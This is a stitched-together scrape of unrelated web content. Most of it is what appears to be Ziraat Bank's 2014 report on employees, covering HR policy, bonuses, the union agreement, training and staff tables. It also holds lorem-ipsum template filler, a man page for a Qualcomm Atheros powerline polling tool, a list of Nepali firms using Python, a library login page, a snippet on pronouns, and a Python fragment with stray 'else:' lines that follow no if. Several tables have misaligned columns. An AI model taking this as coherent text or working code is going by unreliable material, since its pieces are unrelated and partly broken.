Employees
Regarding its employees as the architects of its banking business sustainability, Ziraat Bank fulfills its obligations towards its personnel by compensating them appropriately and equitably and by providing them with modern working conditions and with opportunities for professional and personal progression.
Believing that its employees should be individuals who are capable of keeping pace with the demands of the day and are open to change and improvement and who have an affinity for teamwork and an advanced sense of responsibility, Ziraat Bank supports its personnel throughout their careers in line with its philosophy of constant progress.
In its recruitment processes, Ziraat Bank always focuses on seeking out and getting the right people for the right jobs and this principle informs every aspect of those processes. The rights and opportunities that the Bank offers its personnel also enable them to view the future with confidence.
Every year Ziraat Bank conducts a review of its staffing requirements. Available positions and the qualifications required for them are published in the human resources sections of nationally circulating newspapers and they are also announced on Ziraat Bank’s corporate website.
Recruitment exams are conducted by a specialist organization working under contract with the Bank in order to identify potential candidates for employment. Anyone who satisfies the minimum requirements to sit for these exams may apply to do so. Those who receive at least a passing grade are called in for an interview that is conducted by experienced Ziraat Bank personnel. Those who pass the interview successfully are hired. Signing the Ziraat Bank Code of Ethics is one of the requirements of hiring.
Although no new personnel were hired in this way in 2014, the application and testing procedure was initiated and completed during the year in order to identify a large number of people who are to be recruited and hired in 2015.
In keeping with its principle of hiring locally where possible, in 2014 Ziraat Bank asked candidates during the recruitment process to specify which province (city) they preferred to work in.
A total of 1,596 Ziraat Bank employees left the Bank for various reasons in 2014. The Bank’s employee turnover rate last year was 7%.
Seeking to increase employees’ company loyalty by motivating them and to reward employees for their individual contributions to the company’s success, Ziraat Bank has introduced a performance management system whose scope is steadily being expanded to embrace all units of the Bank, including those at its headquarters.
Work is also being conducted on projects to make information more generally available more quickly and more economically through e-learning and mobile training methods. The aim of these projects is to ensure that employees have access to information whenever they need it.
Explicit and transparent notifications about job descriptions and assignments and about performance and reward criteria are sent out by email and published so as to be accessible to all via the Ziraat Bank internet portal. All instances of suspected or alleged irregularities, abuse, etc concerning such matters are investigated by appropriate headquarters units.
The Ziraat Bank Individual Performance Management System is a system for measuring at regular intervals the individual success and ranking of employees based on objective, quantifiable, and previously-specified criteria and information. This system was designed and introduced in 2013 in order to reward superior performance. Its primary function is to enhance the effectiveness of sales personnel.
The Ziraat Bank Individual Performance Management System has been set up so as to allow personnel to be rated in two different ways based either on their numerical performance or else on their competencies. Numerical performance is an expression of the degree to which an employee’s performance conforms to the Bank’s strategic targets as measured by objective criteria associated with each one, the indications of an employee’s competencies (such as their ability to be customer-focused, profitable, and efficient and to manage risk) can significantly raise or lower their numerical performance score.
In the implementation of this system, a current bonus budget was allocated taking the Bank’s profitability and operational results in 2014 into account with the proviso that their total amounts not exceed 8% of the Bank’s aggregate monthly salary payments. This allocation is paid out to recipients as an individual performance bonus at three-month intervals along with their February, May, August, and November salaries based on objectively defined and numerically expressible specific criteria. In this system, which has been set up to focus mainly on marketing in line with the Bank’s strategies and targets, bonuses are calculated so as to enhance the earnings of those who contribute more to the realization of those strategies and targets and paid to employees according to:
The different coefficients that are used when calculating bonuses are determined jointly by business units according to branch segment and scale, individual performance ranking, and job position criteria.
Under a new procedure introduced for the third quarter of 2014, marketing group personnel bonuses were calculated in direct proportion to the numerical performance points in each section. Beginning with the fourth quarter of that year, the bonuses of counter personnel were calculated based on the performance of the counter to which they were assigned.Performance management and career progression highlights at Ziraat Bank
As of the last quarter of 2014, 80.92% of all Ziraat Bank personnel had been brought into the Bank’s individual performance evaluation and management system. |
A review of the Ziraat Bank field personnel who were subject to the Bank’s individual performance evaluation and management system as of the last quarter of 2014 shows that: |
A review of the Ziraat Bank headquarters personnel who were subject to the Bank’s individual performance evaluation and management system as of the last quarter of 2014 shows that 45% of them were male and 55% of them were female.
55%
45% |
52% were employed in marketing group and 48% were employed in operations group positions |
||
63% of marketing group field personnel were male and 37% were female. 63% 37% |
||
56% of operations group field personnel were male and 44% were female. 56% 44% |
Performance evaluation results are used as input when determining employees’ assignments and promotions as well as their performance bonuses. Field personnel who are subject to numerical-based performance evaluation consist of those who are employed in coordinatorships and regional offices and in branches and those who are employed in portfolio and operations units. Headquarters personnel who are subject to the system consist of those who are employed in Company Analysis, Project Analysis, and Operations Center units.
In the case of Competency-Based Performance Management, position- and unit-based competency specifications together with most of the evaluation system design and software work had been completed as of end-2014. Ziraat Bank plans to have its Competency-Based Performance Management System up and running some time in 2016.
The Bank will also continue to enrich career path opportunities both through in-position advancements and through promotions to higher positions.
Personnel who have reached the Authorized level and whose participation in the Ziraat Bank Management Trainee Program in 2015 is successful will continue to be appointed to branch manager positions as needs arise.
A project is currently being conducted to allow requests and opinions concerning changes in employees’ job assignments and locations to be submitted online covering the periods of June-July and December-January.
The Bank plans to update its HR rules and revise some of its HR processes in order to bring them into accord with changes and practices introduced by the collective bargaining agreement that was signed with the Öz Finans-İş trade union on 31 December 2014.
The Ziraat Bank Secret Customer Program was introduced in 2014 in order to obtain additional performance evaluation input by determining such issues as:
The results of the coordinated quarterly (three-monthly) Secret Customer Program performance evaluations that were conducted during 2014 were compiled in reports that were sent out to appropriate units of the Bank for their information. Authorized Branch, Regional Department, and Headquarters users are now able to display polling result details from the web reporting page.
This program will continue to be conducted at three-month intervals until the end of 2016.
As a requirement of its people-focused HR policy, it is very important for Ziraat Bank that people be employed in positions that are compatible with their competencies. Similarly, the Bank also endeavors to fill its management position vacancies in-house from among its own staff.
In keeping with this, Ziraat Bank has moved away from a vertical, title-based organizational structure in favor of a more horizontal structure that is based on job descriptions. With this changeover, the concept of “job position” has also been incorporated into the Bank’s career management processes. Besides holding a title that defines their place in the professional hierarchy, every employee is also associated with a “job position” that describes what they do, what customer segment they do it for, and whether they are involved in marketing or operations.
A Management Trainee Program has been started in order to meet the Bank’s need for management personnel. The training provided under this program focuses on creating the managers of the future.
In the conduct of its promotions program in 2014, 25.16% of Ziraat Bank employees took part in written examinations and/or interviews determine their readiness to be promoted to a higher position. A total of 4,006 employees received promotions as a result of their successful performance during these exams.
The salaries and compensation paid to Ziraat Bank personnel undergo a year-end annual review for each coming year.
Ziraat Bank’s remuneration system was reviewed during 2013 and a number of changes that were identified in light of existing needs went into effect on 1 January 2014. One of these is a supplementary payment that is made in lieu of promotion to personnel who have satisfied the minimum seniority requirement for promotion to a higher position than their current one but are not promoted. This payment is made in addition to their regular salary.
Remuneration Committee
The Ziraat Bank Remuneration Committee is responsible for monitoring and supervising remuneration practices on behalf of the Bank’s Board of Directors. This committee reviews and assesses remuneration policies and practices in order to determine their compatibility with the Bank’s code of ethics, strategic objectives, and risk management principles and it makes recommendations concerning them to the Board of Directors at regular intervals.
The remuneration that is paid to the Bank’s CEO and to the members of its board of directors is decided upon at each year’s general meeting. Such payments are determined in line with a proposal that is made by the representative of the Treasury Undersecretariat.
All salary compensation and other emoluments at Ziraat Bank are paid to employees exclusively on the basis of their job titles and duties without consideration being given to gender or any other distinction.
Collective Bargaining Agreement
A number of provisions applicable to remuneration policy and contained in the collective bargaining agreement with the Öz Finans-İş trade union went into effect as of 1 January 2015.
The Öz Finans-İş trade union was authorized to negotiate collective bargaining agreements with Ziraat Bank under letter 75014829/103.03/16164 dated 7 September 2014 from the Ministry of Labor and Social Security (General Directorate of Labor). Negotiations, which were conducted pursuant to article 47 of Statute 6356, were concluded as of 31 December 2014 and resulted in Ziraat Bank’s signing the first collective bargaining agreement in its history.
Under this two-year contract, which went into force on 1 January 2015, Bank personnel who are members of the Öz Finans-İş trade union enjoy a number of additional rights that include supplementary payments in their monthly salary and leave time.The contract also specifies notice periods that must be complied with when work agreements are to be terminated by the employer or by an employee.
70.2% of Ziraat Bank’s employees are union members.
Pensions and Retirement Benefits
A group pension scheme to which the employer also contributes went into effect for Ziraat Bank employees as of 1 January 2013. This scheme is being managed by Ziraat Hayat ve Emeklilik AŞ, Ziraat Bank’s life insurance and pension provider subsidiary. Under the original terms of the agreement, Ziraat Bank agreed to pay an employer’s contribution of not more than 3% of a participating employee’s gross monthly salary, provided that the employee did the same, except that in neither case could the contributions be less than TL 50 a month.
Effective 1 January 2014, the employer’s monthly contribution was fixed at a flat-rate TL 50 while the matching employee contribution requirement was abolished. The employer’s contribution was increased to TL 100/month as of 1 January 2015. Under the terms of the same pension scheme, Bank employees and their relatives who sign up for the plan do not have to pay entrance or administrative fees and they also qualify for a management fee discount.
Overtime
In principal, employees are expected to complete a regular day’s work within regular working hours. In 2014 a system was introduced at the Bank that enables the overtime that branch and regional unit personnel put in to be tracked methodically. Besides standardizing payments for overtime throughout the Bank and making them more transparent, this system has also made it possible to determine units’ staffing requirements more effectively.
Attention is given to units and personnel claiming large amounts of overtime, the reasons for excessive overtime are investigated, and measures are taken to reduce it.
Healthcare and benefits
Ziraat Bank employees who are not civil servants and their family members qualify for regular Social Security Agency healthcare and benefits. Principles and procedures have also been laid out that allow additional healthcare benefits to be paid to them out of Ziraat Bank’s budget subject to allocations authorized by the Board of Directors. Bank personal who are members of the TZHVakfı Health & Pension Fund receive payments from its budget.
The Bank has also entered into special agreements with healthcare providers such as hospitals, medical imaging centers, and doctors’ surgeries where its employees qualify for discounts. Information about such places is accessible to all employees via the Bank’s internet portal.
Employee leave
Ziraat Bank employees’ paid annual leave entitlements are subject to general provisions of labor law governing such matters. Union-member employees who have been working for the Bank for less than five years qualify for fourteen rather than sixteen days of paid annual leave. Ten days of this leave must be taken as a single, uninterrupted block of time. Announcements concerning this rule are made regularly. Employees’ use of their leave time is tracked closely.
Ziraat Bank conducts many different training programs in its ongoing efforts to ensure that its employees have the knowledge and skills they need to perform their jobs effectively.
Training activities in 2014 were conducted under the following headings:
During 2014, training was provided to 14,719 employees. Average training time per person was 15.46 hours.
Owing to the dimensions and reach of its service network, Ziraat Bank makes extensive use of e-learning in the conduct of its training activities in support of regular classroom training. Besides making it possible to provide more training to more people in less time and without interrupting work schedules, e-learning also means that people can access training materials and resources whenever and wherever it is convenient and also proceed at their own pace. By reducing the need to travel to and from training venues, e-learning even makes its own indirect contribution to environmental wellbeing. 118,277 employees took part in the Bank’s e-learning programs in 2014.
During the year, Bank employees were also provided with training on issues related to the prevention of money-laundering and terrorism financing. Detailed information about this training is provided in the accompanying chart. 97.97% of all Ziraat Bank personnel have taken part in this training.
Ratio of training recipients/total employees (%) |
Headquarters |
Classroom |
0.84 |
97.97 |
Distance |
93.33 |
|||
Branches/Agencies |
Classroom |
0.46 |
||
Distance |
98.42 |
Male |
Female |
|||
Position |
Individual Trainees* |
Average Training Time/Person |
Individual Trainees* |
Average Training Time/Person |
Managerial |
6,353 |
1.84 |
1 |
0.67 |
Other |
30,600 |
15.40 |
12 |
12.09 |
Total/Average |
36,953 |
17.23 |
17,064 |
12.76 |
* Individual trainee: This term is used in the Bank’s training statistics. If one employee takes part in three different training programs during a year, he counts as three “individual trainees” even though he is only one person.
Other training activities
Professional skills training was provided to 970 vocational highschool and 20 university students in 2014 while 2,080 university students received training under the Bank’s internship program.
“Ziraat’e Hoşgeldiniz” (“Welcome to Ziraat”) is a booklet which has been prepared and is distributed to newly-hired personnel as a handy source of information to introduce them to the Bank and its corporate culture and to ease them into their jobs.
1) The Ziraat Bank Learning Management System will be commissioned. This system will allow:
2) Distance learning modules based on the findings of the New Auditing Model
These modules will allow the New Auditing Model’s findings to be used in order to formulate training that is entirely needs-based and even personalized. Distance learning modules will be designed so as to ensure that such training is made accessible to bank employees faster. This will have the additional benefit of allowing an individual to complete identified training requirements as well.
3) Mobile training materials for managers and authorized personnel
Training materials in the form of mobile apps will allow these personnel to do their training whenever and wherever it is convenient. Designed to be succinct and brief, such training can be supported by means of video, audio, visuals, and text without any need for additional infrastructure investment.
4) Use of performance management data to analyze training requirements
The Bank plans to organize training and development programs that target areas in which its employees need to improve their basic, functional, and managerial competencies.
Ziraat Bank ensures that it is in full compliance with the Occupational Health & Safety Act (Statute 6331). The Bank is classified as a “low-risk workplace environment”.
As required by that act, a Ziraat Bank Occupational Health & Safety Coordination Committee has been set up and is charged with fulfilling its occupational health and safety duties and responsibilities as an employer. This committee is presided over by the Assistant General Manager for Financial Coordination. It members consist of relevant department heads, workplace physicians, safety officers, and employee representatives.
The duties and authorities of the Ziraat Bank Occupational Health & Safety Coordination Committee include:
As mandated by law, the Ziraat Bank Occupational Health & Safety Coordination Committee convenes regularly at least once every three months. During these meetings, participants discuss issues applicable to their duties and authorities such as Bank employee H&S training, first aid training, regular health checkups, regular tests and care, risk assessment reporting, drills and evacuation procedures, and issues involving subcontractors.
During 2014, 3,752 people were provided with occupational health & safety training at Ziraat Bank.
No Bank personnel are employed in jobs that expose them to high risk of accident or of contracting particular illnesses.
During 2014, no workdays were lost at the Bank for such reasons as workplace-related injuries, occupational illnesses, strikes, lockouts, natural disasters, or building destruction or collapse.
Similarly neither were there any fatal workplace accidents at Ziraat Bank in 2014.
The collective bargaining agreement between Ziraat Bank and the Öz Finans-İş trade union also contains occupational health & safety provisions governed by Statute 6331 and its applicable regulations and directives.
Because it gives great importance to employee communication, Ziraat Bank makes use of a variety of channels in order to ensure the effectiveness of such communication.
Ziraat Bank Employee Suggestion System
Adhering to and supporting innovative approaches in employee communication, Ziraat Bank regards its employees’ suggestions and feedback as opportunities to constantly make improvements.
In 2014 Ziraat Bank introduced an employee suggestion system which is actively used by all Bank employees and which ensures that their suggestions are directed quickly to appropriate persons and dealt with. The objectives of the Ziraat Bank Employee Suggestion System are to involve employees in decision-making mechanisms, to have the benefit of employees’ knowledge and experience, to encourage employees to come up with improvements, and to constantly enhance service quality and efficiency.
Thanks to this system, it is possible for employees’ suggestions to be received and acted upon immediately by the units concerned with them. During 2014, 7,205 suggestions were sent through the Ziraat Bank Employee Suggestion System and acted upon as deemed necessary.
Transfer Request System
In 2014 a new system for receiving and handling employees’ transfer requests was introduced. Under this new system, employees wishing to be reassigned to a different place may forward their request to the Human Resources Department at designated times of the year and with the approval of their supervisor.
This system includes a scoring module that allows these requests to be evaluated objectively. Another feature of this system is that it allows managers to contribute to the employee career progression process by recommending changes in an employee’s job assignment based on their own assessment of the individual’s abilities.
In situations where such changes would have an impact on an employee’s entitlement rights, the individual is notified in writing and given six business days in which to accept or reject the changes.
A breakdown of below mentioned positions at Ziraat Bank by gender, age group, and educational level is presented below.
Table 1 (Gender breakdown)
| Position/Gender | Male (%) | Female (%) | Total (individuals) |
| Assistant General Manager | 100 | 11 | |
| Group Head | 85.71 | 14.29 | 7 |
| Department Head | 95.45 | 4.55 | 44 |
| Regional Coordinator | 100 | 9 | |
| Regional Manager | 100 | 38 | |
| Total | 97.25 | 2.75 | 109 |
Table 2 (Age breakdown)
| Position/Age | 30-40 | 41-50 | 51+ | Total (individuals) |
| Assistant General Manager | 9 | 2 | 11 | |
| Group Head | 4 | 3 | 7 | |
| Department Head | 16 | 28 | 44 | |
| Regional Coordinator | 3 | 6 | 9 | |
| Regional Manager | 2 | 26 | 10 | 38 |
| Total | 18 | 70 | 21 | 109 |
Table 3 (Educational level breakdown)
| Position/Education | Associate degree (%) | Bachelor’s degree (%) | Master’s degree (%) | Doctorate (%) | Total (individuals) |
| Assistant General Manager | 81.82 | 18.18 | 11 | ||
| Group Head | 85.71 | 14.29 | 7 | ||
| Department Head | 56.82 | 36.36 | 6.82 | 44 | |
| Regional Coordinator | 11.11 | 66.67 | 22.22 | 9 | |
| Regional Manager | 73.68 | 23.68 | 2.63 | 38 | |
| Total | 0.92 | 67.89 | 27.52 | 3.67 | 109 |
A breakdown of Ziraat Bank human resources by gender, age group, and educational level is presented below.
Table 1 (Breakdown by gender)
| Gender | # individuals | % |
| Male | 14,235 | 60.27 |
| Female | 9,382 | 39.73 |
| Total | 23,617 | 100.00 |
Table 2 (Breakdown by age group)
| Age | # individuals | % |
| 30 - | 7,858 | 33.27 |
| 30-50 | 13,816 | 58.50 |
| 51+ | 1,943 | 8.23 |
| Total | 23,617 | 100.00 |
Table 3 (Breakdown by educational level)
| Educational Level | # individuals | % |
| Middle school | 65 | 0.28 |
| Highschool | 3,009 | 12.74 |
| Associate degree | 2,961 | 12.54 |
| Bachelor’s degree | 15,484 | 65.56 |
| Master’s degree | 2,064 | 8.74 |
| Doctorate | 34 | 0.14 |
| Total | 23,617 | 100.00 |
Table 4 (Breakdown by assigned unit)
| Unit | # individuals | % |
| Regional | 281 | 1.19 |
| Headquarters | 4,530 | 19.18 |
| Branch | 18,714 | 79.24 |
| International | 92 | 0.39 |
| Total | 23,617 | 100.00 |
Employee assignments to positions in Ziraat Bank’s organizational structure and broken down by gender are shown below.
| Unit | Male (%) | Female (%) | Total |
| Headquarters Office | 62.05 | 37.95 | 4,530 |
| Regional Coordinator’s Office | 68.63 | 31.37 | 51 |
| Regional Office | 76.96 | 23.04 | 230 |
| Corporate Branch | 52.6 | 47.4 | 384 |
| Entrepreneurial Branch | 59.9 | 40.1 | 1,778 |
| Branch | 59.67 | 40.33 | 16,552 |
| International | 73.91 | 26.09 | 92 |
| Total | 60.27 | 39.73 | 23,617 |
The data related to parental leave at Ziraat Bank in 2014 is as follows:
| In 2014 | Female | Male |
| a. Number of employees entitled to parental leave (according to gender) | 842 | 856 |
| b. Number of employees taking parental leave (according to gender) | 842 | 856 |
| c. Number of employees returning to work at the end of parental leave (according to gender) | 840 | 846 |
| d. Number of employees returning to work at the end of parental leave and were still working for the Bank twelve months later (according to gender) | 839 | 842 |
| e. Rates at which employees who take parental leave return to and remain in their jobs (according to gender) | 99.6% | 98% |
The breakdown of employees who took part in exams to be promoted to a higher position in 2014 at Ziraat Bank is as follows:
| Job category | Male | % | Female | % | Total |
| Attorney | 3 | 33.33 | 6 | 66.67 | 9 |
| Engineer | 7 | 100 | - | 0 | 7 |
| Service Chief | 1,432 | 59.79 | 963 | 40.21 | 2,395 |
| Service Officer | 1,210 | 68.25 | 563 | 31.75 | 1,773 |
| Specialist | 100 | 56.82 | 76 | 43.18 | 176 |
| Assistant Specialist | 63 | 49.22 | 65 | 50.78 | 128 |
| Assistant Manager | 407 | 53.62 | 352 | 46.38 | 759 |
| Support Assistant | 657 | 94.4 | 39 | 5.6 | 696 |
| Total | 3,879 | 65.27 | 2,064 | 34.73 | 5,943 |
Ziraat Bank’s organizational structure and personnel turnover based on age breakdown is shown below:
| Unit | 2014 New Hires | 2014 Terminations | Personnel Turnover Rate | ||||||||||||
| Male | Female | Total | Male | Female | Total | Male | Female | Total | |||||||
| Headquarters | 264 | 73 | 337 | 10 | 5 | 8 | |||||||||
| 19-30 | 45 | 16 | 61 | 6 | 3 | 5 | |||||||||
| 31-40 | 28 | 17 | 45 | 3 | 3 | 3 | |||||||||
| 41-50 | 33 | 25 | 58 | 5 | 7 | 5 | |||||||||
| 51+ | 158 | 15 | 173 | 39 | 23 | 36 | |||||||||
| Coordinator’s Office | 246 | 174 | 420 | 2 | 1 | 3 | 4 | 5 | 4 | ||||||
| 19-30 | 124 | 83 | 207 | 1 | 1 | 0 | 8 | 4 | |||||||
| 31-40 | 98 | 81 | 179 | 1 | 1 | 7 | 0 | 5 | |||||||
| 41-50 | 24 | 10 | 34 | 1 | 1 | 11 | 0 | 10 | |||||||
| 51+ | 0 | 0 | 0 | ||||||||||||
| Regional Office | 26 | 13 | 39 | 7 | 8 | 7 | |||||||||
| 19-30 | 3 | 1 | 4 | 1 | 2 | 2 | |||||||||
| 31-40 | 2 | 3 | 5 | 2 | 4 | 3 | |||||||||
| 41-50 | 4 | 4 | 8 | 7 | 19 | 10 | |||||||||
| 51+ | 17 | 5 | 22 | 77 | 167 | 88 | |||||||||
| Corporate Branch | 1 | 1 | 1 | 4 | 5 | 1 | 3 | 2 | |||||||
| 19-30 | 1 | 1 | 3 | 3 | 0 | 5 | 3 | ||||||||
| 31-40 | 0 | 0 | 0 | ||||||||||||
| 41-50 | 1 | 1 | 2 | 9 | 7 | 8 | |||||||||
| 51+ | 0 | 0 | 0 | ||||||||||||
| Entrepreneurial Branch | 3 | 2 | 5 | 27 | 17 | 44 | 3 | 3 | 3 | ||||||
| 19-30 | 1 | 1 | 10 | 6 | 16 | 3 | 2 | 3 | |||||||
| 31-40 | 2 | 1 | 3 | 3 | 4 | 7 | 1 | 2 | 1 | ||||||
| 41-50 | 1 | 1 | 2 | 3 | 5 | 2 | 4 | 3 | |||||||
| 51+ | 12 | 4 | 16 | 59 | 100 | 65 | |||||||||
| Branch | 41 | 21 | 62 | 853 | 301 | 1,154 | 8 | 4 | 7 | ||||||
| 19-30 | 25 | 13 | 38 | 129 | 90 | 219 | 3 | 3 | 3 | ||||||
| 31-40 | 13 | 6 | 19 | 53 | 25 | 78 | 2 | 1 | 2 | ||||||
| 41-50 | 3 | 2 | 5 | 105 | 82 | 187 | 5 | 6 | 6 | ||||||
| 51+ | 566 | 104 | 670 | 41 | 42 | 41 | |||||||||
| International | 2 | 1 | 3 | 3 | 4 | 3 | |||||||||
| 19-30 | 0 | 0 | 0 | ||||||||||||
| 31-40 | 0 | 0 | 0 | ||||||||||||
| 41-50 | 0 | 0 | 0 | ||||||||||||
| 51+ | 2 | 1 | 3 | 44 | 33 | 40 | |||||||||
| Total | 291 | 197 | 488 | 1,175 | 410 | 1,585 | 8 | 4 | 7 |
* Because of closing or segment changing of Commercial Branches (conversion into Corporate Branch, Entrepreneurial Branch, Branch) in the beginning of 2014, 378 Commercial Branch employees are not included in the average personnel number.
** The 11 employees who resigned from Commercial Branches in 2014 are not included in the number of total personnel.


From small businesses to large companies, we have been successfully creating
websites and web applications for our clients
Let you’ll one had. Gathering replenish behold open subdue signs place hath meat image fly. Whose together. Over there you, fill herb set had likeness
Let you’ll one had. Gathering replenish behold open subdue signs place hath meat image fly. Whose together. Over there you, fill herb set had likeness
Let you’ll one had. Gathering replenish behold open subdue signs place hath meat image fly. Whose together. Over there you, fill herb set had likeness
Something About Us
Man signs moving of may may made above likeness kind fowl together gathered third their itself, earth void signs Thing waters. To give fourth shall days stars. Male darkness, it appear them the there which fruit unto creepeth years subdue day bearing man given she’d grass so them.
From. Above dominion place she’d the itself fish let creature kind. Sixth moveth whose. Spirit. Seasons fruit that earth dry be fly gathered yielding made his itself firmament
Our Skills
PS 99%
AI 70%
SEO 80%
WP 60%


plcwait(1) Qualcomm Atheros Open Powerline Toolkit plcwait(1) NAME ampwait - Qualcomm Atheros Powerline Procrastinator SYNOPSIS ampwait [options] [device] [device] [...] DESCRIPTION Poll a Qualcomm Atheros powerline device, waiting for one or more events to occur before continuing or returning.  It is used to pause shell scripts at critical points where a device must be in a known state before continuing. This program is part of the Qualcomm Atheros Powerline Toolkit. See the plc man page for an overview and installation instructions. OPTIONS -a Poll the device every few seconds using VS_NW_INFO messages until the device indicates that a networks exists and has at least one station. This option can give false readings if other devices have dropped off-line and the device bridging table still holds information about them. The program always checks for this event last if other event options are specified. -e Redirects stderr messages to stdout. By convention status and error messages are printed on stderr while primary program output is printed on stdout. This option prints all output on stdout in cases where this is desired. -f firmware The identification string for firmware that should be running after the device starts. This option can be used to detect a failed firmware load. If the actual identification string does not match this one once the device starts then an error is reported. If option -x is present then the program terminates with a non-zero exit code. This option has no effect unless option -s is present. An identification string looks like "INT6000-MAC-3-1-3143-1690-20071107-FINAL-B" and can be obtained using int6k -r. -i Select the host Ethernet interface. All requests are sent via this host interface and only reponses received via this host interface are recognized. The default interface is eth1 because most people use eth0 as their principle network connection; however, if environment string "PLC" is defined then it takes precedence over the default interface. This option then takes precedence over either default. -p seconds Fixed pause time in seconds. This adds an fixed delay after the other events have occured. A pause does not occur if any of the specified events timeout. When no other events are specified this option is effectively equivalent to sleep. This option can be used to allow the device or the network to settle. For example, a nomi‐ nal 5 second wait is recommended after a device successfully associates before attempting to transfer data. -q Enter quiet mode. Progress messages are suppressed. -R Reset the device then check return status. Exit program on error if option -x is present; otherwise, repeat the reset request until the device either accepts the request or the wait time is exceeded. -s Poll the device every few seconds using VS_SW_VER messages until the bootloader or runtime firmware responds or the poll count exhausts. The presence of a response indicates that the device has either connected to the host, received power or finished reboot. -t milliseconds Channel read/write timeout in milliseconds. This is the maximum time allowed for a confirmation or a response from a powerline device before abandoning a read/write operation. Permitted values range from 0 through UINT_MAX as defined in limits.h. The default is 50 milliseconds. -v Enter verbose mode. All Etherenet frames sent or received by the program are displayed on stdout. -w seconds Wait timeout in seconds. This is the maximum time that this application will wait for an event to occur where an event is reset, start or assoc. If an event does no occur within this time, the program proceeds to wait for the next specified event. This timeout applies to each event in turn when more than one event is specified. Permit‐ ted values are 0 through 86400 seconds which is 24 hours. -x Exit program on first error with a non-zero exit code. This option allows shell scripts to detect failed or incomplete operations and take the appropriate action. -y Display actual wait times on stdout. -?, --help Print program help summary on stdout. This option takes precedence over other options on the command line. -!, --version Print program version information on stdout. This option takes precedence over other options on the command line. Use this option when sending screen dumps to Atheros Technical Support so that they know exactly which version of the Linux Toolkit you are using. ARGUMENTS device The Media Access Control (MAC) address of some device. Addresses are 6 hexadecimal octets optionally separated by colon. For example, the addresses "00b052000001", "00:b0:52:00:00:01" and "00b052:000001" are all valid and equivalent. For convenience, the symbolic address "local" resolves to "00:b0:52:00:00:01" and the symbolic addresses "all" and "broadcast" both resolve to "ff:ff:ff:ff:ff:ff". REFERENCES See the Qualcomm Atheros HomePlug AV Firmware Technical Reference Manual for more information. DISCLAIMER Atheros HomePlug AV Vendor Specific Management Message Entry structure and content is proprietary to Qualcomm Atheros, Ocala FL USA. Consequently, public information may not be available. Qualcomm Atheros reserves the right to modify mes‐ sage structure and content in future firmware releases without any obligation to notify or compensate users of this pro‐ gram. EXAMPLES The following command polls the local device until firmware stops running then polls the device until firmware starts running again. This command can be inserted into a shell script at a point where the device must reset and reboot before proceeding. Observe that the program waits up to 60 seconds for each event, in turn, because 60 seconds is the default wait period. If an event occurs before the specified timeout the program will move on to the next event. # ampwait -rs eth0 00:B0:52:BA:BA:01 Allow 60 seconds for Reset eth0 00:B0:52:BA:BA:01 Allow 60 seconds for Start The following example waits up to 30 seconds for the local device to reset (-r) then up to 50 seconds for the local device to start (-s). This is the same as above but we have specified 30 seconds using option -w. # ampwait -r -s -w 30 eth0 00:B0:52:BA:BA:01 Allow 30 seconds for Reset eth0 00:B0:52:BA:BA:01 Allow 30 seconds for Start The next example reports the actual amount of time taken for each event to occur. Observe that the last event, device association, did not occur within the allotted time. # ampwait -rsay eth0 00:B0:52:BA:BA:01 Allow 60 seconds for Reset etho 00:B0:52:BA:BA:01 Waited 22 seconds to Reset eth0 00:B0:52:BA:BA:01 Allow 60 seconds for Start etho 00:B0:52:BA:BA:01 Waited 4 seconds to Start eth0 00:B0:52:BA:BA:01 Allow 60 seconds for Assoc etho 00:B0:52:BA:BA:01 Waited 60 seconds for Assoc etho 00:B0:52:BA:BA:01 Device did not Assoc The following example illustrates use of the revision string to detect mismatched firmware. In this example, we reset the device first, using program amptool, then wait for it to reset then start up again. There are also operation that can cause the device to reset. # amptool -R # ampwait -xrsf INT6000-MAC-3-1-3143-1690-20071107-FINAL-B eth0 00:B0:52:BA:BA:01 Device started wrong firmware Immediately after a reset we wait for the firmware to stop responding, with option -r, and then start responding, with option -s, and then perform a string comparison against the actual firmware revision string, with option -f. If the strings do not match then an error is reported. In this case, the program will exit with a non-zero return code since option -x is present. DISCLAIMER Atheros HomePlug AV Vendor Specific Management Message Entry structure and content is proprietary to Qualcomm Atheros, Ocala FL USA. Consequently, public information may not be available. Qualcomm Atheros reserves the right to modify mes‐ sage structure and content in future firmware releases without any obligation to notify or compensate users of this pro‐ gram. SEE ALSO amp(1), amptool(1), amphost(1), amprate(1), ampid(1), ampstat(1) CREDITS Charles Maier<EMAIL_ADDRESS>open-plc-utils-0.0.3 November 2013 plcwait(1)


Use of Python in Nepal
Binwary
- Email<EMAIL_ADDRESS>- Location: Biratnagar
- Phone:<PHONE_NUMBER>
- Website: binwary.com
- Use: We use python mostly for android application.
- Frameworks and Libraries: Requests, Pygame, Django
Leapfrog Technology
- Email<EMAIL_ADDRESS>- Location: Kathmandu, Nepal
- Use: Used in few of the projects as the primary language In several other projects we use it for automation/deployment/scripts.
- Frameworks and Libraries: Django, Fabric
MicroLabs Pvt. Ltd.
- Email<EMAIL_ADDRESS>- Location: Tinkune, Kathmandu
- Use: Machine Learning Products
- Frameworks and Libraries: Numpy
MPercept Technology
- Email<EMAIL_ADDRESS>- Location: Chakupat, Lalitpur
- Website: mpercept.com
- Use: Python is extensively used in our company. We use Python to develop AI and ML systems, Data Science, IoT solutions, Web Development and so on.
- Frameworks and Libraries: Flask, Django, Tensorflow, Keras, PyTorch
Ministry of Health
- Location: Kathmandu
- Use: Attendance system
- Frameworks and Libraries: Django
Ontreat
- Email<EMAIL_ADDRESS>- Location: Lazimpat-2, Kathmandu
- Website: ontreat.com
- Frameworks and Libraries: Django, Tornado, Numpy, Pandas, Scrapy, SQLAlchemy, Fabric
Zeftware Solutions Pvt. Ltd.
- Email<EMAIL_ADDRESS>- Location: Ram Laxman Marga, Biratnagar-01
- Phone: 021-460567
- Website: zeftware.com
- Use: Python is used in our different products such as zefed, scripting and automation.
- Frameworks and Libraries: Django


ONLINE LIBRARY MANAGEMENT SYSTEM
HOME
BOOKS
RULES
STUDENT-LOGIN
ADMIN-LOGIN
Library Management System
User Login Form
Login
Forgot password?
              New to this website?
Sign Up


is_end = True
else:
for batch in batch_generator:
yield self._exec_all_actions(batch)
self.reset_iter()
def next_batch(self, batch_size, shuffle=False, n_epochs=1, drop_last=False, prefetch=0, *args, **kwargs):
else:
for batch in batch_generator:
try:
batch_res = self._exec_all_actions(batch)
except SkipBatchException:
pass
else:
yield batch_res


Landing Page
Special Projects
This story is part of a series of specially designed stories that represents some of the best journalism The Post has to offer. Check out the rest of the special projects here.
Marcus Pavilonis
10/4/2018
A person’s pronouns are a choice — they choose what pronouns to use and how to use them, delfin bautista said.
bautista, the director of the LGBT Center, said pronouns like ze, hu, they or per are starting to be used more widely as an alternative for people who do not exclusively identify as either, or both, he or she.
